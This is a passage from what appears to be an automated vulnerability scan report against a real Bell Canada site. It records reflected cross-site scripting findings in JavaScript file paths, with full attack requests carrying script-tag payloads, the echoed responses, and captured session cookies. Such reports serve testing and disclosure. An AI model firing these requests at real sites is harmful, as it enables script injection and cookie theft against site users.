GET /js/formValidation.js4e6ca"><script>alert(1)</script>b50e7ba0877 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:24:58 GMT
Connection: close
Set-Cookie: SMSESSION=0zFg08kW/LebH6IndMarkeMV9QS0sd2F50hlU0YqGz/stphXrCj04wBGa7WoDUvPzGFTMSVesLAn8jJ7W9+AW5g3xBzks9XeEFZ4Aszspgp0ZfIjhIKRAyUhw7avUzJ+ibwrEHtAk1Zry4/dZaaeY2omSK1lc1ys1YCZDdbwopib60Bq1o/15xXRhq4GokK2z5i4Z33kN7CYyDQxzmtdgXyS6WPBkLq5n7C8AwXvs1iGHCNK8ZAO8e7j73DKx6/jDYVSaN+7/lSQJQ7Emb3cPc5Oo/Z1WghTLczEiE5LVPgPTlTOWOv5JQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:24:59 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:24:59 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:24:59 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:24:59 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:24:59 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:24:59 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:24:59 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:24:59 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:24:59 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:24:59 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ut type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/formValidation.js4e6ca"><script>alert(1)</script>b50e7ba0877" />
...[SNIP]...

2.34. http://internet.bell.ca/js/functions.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/functions.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a0f2"><script>alert(1)</script>2faf94c92ad was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js6a0f2"><script>alert(1)</script>2faf94c92ad/functions.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:27 GMT
Connection: close
Set-Cookie: SMSESSION=oaxI9Kz08MZ+9gK8IaIccqf6Fe7NnfUmAT2q6xMe3SVrYuXgLeasZCBANMrrfgbM+MItkCl25r2UuRBBFMhyaqtn02rG86DKbqHvLlplRCON5uY2vcbeUB6F3fYnrHehgD6Ro1suxvgkZougk296tK3YNR2Zx2K8TYLDvMQuJ/QOI0bt4admPjqyjpH+QerTTpjIOFfCe6MylPy20SM2VyMQyleWt5SE9raeActTufoYZ72aA2g5KJoq9Z+u/uvw9xI1YQXr8yMechA/73hmM+wsa4Jx/diMVdMUqTUQEShoXHX9uCdaPA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:28 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js6a0f2"><script>alert(1)</script>2faf94c92ad/functions.js" />
...[SNIP]...

2.35. http://internet.bell.ca/js/functions.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/functions.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a111d"><script>alert(1)</script>657e7ef42b6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/functions.jsa111d"><script>alert(1)</script>657e7ef42b6 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:46 GMT
Connection: close
Set-Cookie: SMSESSION=Q0LzfYazs1TG9HKJpYRBlZddquM8p7ZHFI4IwCXlWD2eOfQ5947TXaC7wC+Nsq5VBYYPEc9vx1xmZ+pFUtl3t4zI578JCdqdLDjv1ni4MwhWQTYIuaDxX/yYFBrNeqrXvk3VLdWUzLml4X64dbZLFLGegigM/zXIvzwVW7RTaF+oC8s4+zsBO+Se4DxnkSOBuwTzn2etMc0CmOokldSgp1stq1id9EGc6LEq648bnxyjS0QrkppEozaFTZNjv+u6eVRt2I0Uuk+swK/etowK6uR2kH2yiQ17zA77jqj4OFHqoBbQTV0soQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:47 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:47 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:47 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:47 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:47 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:47 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:47 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:47 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:47 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:47 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/functions.jsa111d"><script>alert(1)</script>657e7ef42b6" />
...[SNIP]...

2.36. http://internet.bell.ca/js/glossaryDefinition.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/glossaryDefinition.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae4e6"><script>alert(1)</script>4e6fd0133fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsae4e6"><script>alert(1)</script>4e6fd0133fb/glossaryDefinition.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
